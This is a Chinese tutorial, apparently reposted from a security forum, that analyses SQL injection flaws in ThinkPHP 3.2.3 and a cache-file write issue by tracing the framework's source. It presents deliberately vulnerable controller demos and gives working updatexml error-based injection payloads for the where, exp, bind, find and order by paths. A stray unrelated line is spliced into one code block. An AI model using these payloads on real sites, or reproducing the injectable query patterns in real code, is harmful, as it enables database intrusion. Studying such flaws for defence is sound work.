「原创」萌新也能看懂的ThinkPHP3.2.3漏洞分析
ThinkPHP是⼀个快速、兼容⽽且简单的轻量级国产PHP开发框架,可以⽀持Windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本⽀持,⽀持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。
⽹上关于ThinkPHP的漏洞分析⽂章有很多,今天分享的内容是 i 春秋论坛作者佳哥原创的⽂章。本⽂是作者在学习ThinkPHP3.2.3漏洞分析过程中的⼀次完整的记录,⾮常适合初学者,⽂章未经许可禁⽌转载!
注:i 春秋旨在为⼤家提供更多的学习⽅法与技能技巧,⽂章仅供学习参考。
where注⼊
在控制器中,写个demo,利⽤字符串⽅式作为where传参时存在注⼊。
public function getuser(){
$user = M('User')->where('id='.I('id'))->find();
dump($user);
}
在变量user地⽅进⾏断点,PHPSTROM F7进⼊,I⽅法获取传⼊的参数。
switch(strtolower($method)) {
case 'get' :
$input =& $_GET;
break;
case 'post' :
$input =& $_POST;
break;
case 'put' :
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
case 'param' :
switch($_SERVER['REQUEST_METHOD']) {
case 'POST':
$input = $_POST;
break;
case 'PUT':
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
default:
$input = $_GET;
}
break;
......
重点看过滤函数
先利⽤htmlspecialchars函数过滤参数,在第402⾏,利⽤think_filter函数过滤常规sql函数。
function think_filter(&$value){
/
/ TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}
在where⽅法中,将$where的值放⼊到options["where"]数组中。
继续跟进查看find⽅法,第748⾏。
$options = $this->_parseOptions($options);
在数组$options中增加
'table'=>'tp_user','model'=>'User',随后F7跟进select⽅法。
public function select($options=array()) {
$this->model = $options['model'];
ueditor漏洞php如何解决$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$sql = $this->buildSelectSql($options);
$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
return $result;
}
跟进buildSelectSql⽅法,继续在跟进parseSql⽅法,这⾥可以看到⽣成完整的sql语句。
这⾥主要查看parseWhere⽅法
跟进parseThinkWhere⽅法
protected function parseThinkWhere($key,$val) {
$whereStr = '';
switch($key) {
case '_string':
// 字符串模式查询条件
$whereStr = $val;
break;
case '_complex':
// 复合查询条件
$whereStr = substr($this->parseWhere($val),6);
break;
$key为_string,所以$whereStr为传⼊的参数的值,最后parserWhere⽅法返回(id=1p),所以最终payload为:
1) and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)--+
exp注⼊
漏洞demo,这⾥使⽤全局数组进⾏传参(不要⽤I⽅法),漏洞才能⽣效。
public function getuser(){
$User = D('User');
$map = array('id' => $_GET['id']);
$user = $User->where($map)->find();
dump($user);
}
直接在$user进⾏断点,F7跟进,跳过where⽅法,跟进
find->select->buildSelectSql->parseSql->parseWhere
跟进parseWhereItem⽅法,此时参数$val为⼀个数组,{‘exp’,‘sql注⼊exp’}
此时当$exp满⾜exp时,将参数和值就⾏拼接,所以最终paylaod为:
id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))--+
上⾯⾄于为什么不能⽤I⽅法,原因是在过滤函数think_filter中能匹配到exp字符,所以在exp字符后⾯加了⼀个空格,导致在parseWhereItem⽅法中⽆法等于exp。
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))
bind注⼊
漏洞demo
public function getuser(){
$data['id'] = I('id');
$uname['username'] = I('username');
$user = M('User')->where($data)->save($uname);
dump($user);
}
F8跟进save⽅法
⽣成sql语句在update⽅法中:
public function update($data,$options) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if(strpos($table,',')){// 多表更新⽀持JOIN操作
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表更新⽀持order和lmit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
在parseSet⽅法中,可以将传⼊的参数替换成:0。
在bindParam⽅法中,$this->bind属性返回array(':0'=>参数值)。
protected function bindParam($name,$value){
$this->bind[':'.$name] = $value;
}
继续跟进parseWhere->parseWhereItem⽅法,当exp为bind时,就会在参数值前⾯加个冒号(:)。由于在sql语句中有冒号,继续跟进excute⽅法,这⾥将:0替换成了第⼆个参数的值。
所以最终的payload为:
id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing
find/select/delete注⼊
先分析find注⼊,在控制器中写个漏洞demo。
public function getuser(){
$user = M('User')->find(I('id'));
dump($user);
}
当传⼊id[where]=1p时候,在user进⾏断点,F7跟进find->_parseOptions⽅法:
$options['where']为字符串,导致不能执⾏_parseType⽅法转化数据,进⾏跟进select->buildSelectSql->parseSql->parseWhere⽅法,传⼊的$where为字符串,直接执⾏了if语句。
protected function parseWhere($where) {
$whereStr = '';
if(is_string($where)) {
// 直接使⽤字符串条件
$whereStr = $where;
......
}
return empty($whereStr)?'':' WHERE '.$whereStr;
当传⼊id=1p,就不能进⾏注⼊了,具体原因在find->_parseOptions->_parseType⽅法,将传⼊的参数进⾏了强转化为整形。
所以,payload为:
id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)
select和delete原理同find⽅法⼀样,只是delete⽅法多增加了⼀个判断是否为空。
if(empty($options['where'])){
// 如果条件为空不进⾏删除操作除⾮设置 1=1
return false;
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}
if(false === $this->_before_delete($options)) {
return false;
}
order by注⼊
先在控制器中写个漏洞demo
public function user(){
$data['username'] = array('eq','admin');
$user = M('User')->where($data)->order(I('order'))->find();
dump($user);
}
在user变量处断点,F7跟进,find->select->buildSelectSql->parseSql⽅法。
$this->parseOrder(!empty($options['order'])?$options['order']:''),
当$options['order']参数参在时,跟进parseOrder⽅法。
当不为数组时,直接返回order by + 注⼊pyload,所以注⼊payload为:
order=id and(updatexml(1,concat(0x7e,(select user())),0))
缓存漏洞
在ThinkPHP3.2中,缓存函数有F⽅法和S⽅法,两个⽅法有什么区别呢,官⽅介绍如下:
F⽅法:相当于PHP⾃带的file_put_content和file_get_content函数,没有太多存在时间的概念,是⽂件存储数据的⽅式。常⽤于⽂件配置。
S⽅法:⽂件缓存,有⽣命时长,时间到期后缓存内容会得到更新。常⽤于单页⾯data缓存。
这⾥F⽅法就不介绍了,直接看S⽅法。
public function test(){
S('name',I('test'));
}
跟进查看S⽅法
set⽅法写⼊缓存
跟进filename⽅法,此⽅法获取写⼊⽂件的路径,保存在
../Application/Runtime/Temp⽬录下
private function filename($name) {
$name = md5(C('DATA_CACHE_KEY').$name);
if(C('DATA_CACHE_SUBDIR')) {
// 使⽤⼦⽬录
$dir ='';
for($i=0;$i<C('DATA_PATH_LEVEL');$i++) {
$dir .= $name{$i}.'/';
}
if(!is_dir($this->options['temp'].$dir)) {
mkdir($this->options['temp'].$dir,0755,true);
}
$filename = $dir.$this->options['prefix'].$name.'.php';
}else{
$filename = $this->options['prefix'].$name.'.php';
}
return $this->options['temp'].$filename;
}
并将S传⼊的name进⾏md5值作为⽂件名,最终通过file_put_contents函数写⼊⽂件。以上是今天分享的内容,⼤家看懂了吗?记得要实际动⼿练习⼀下,才能加深印象哦~
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论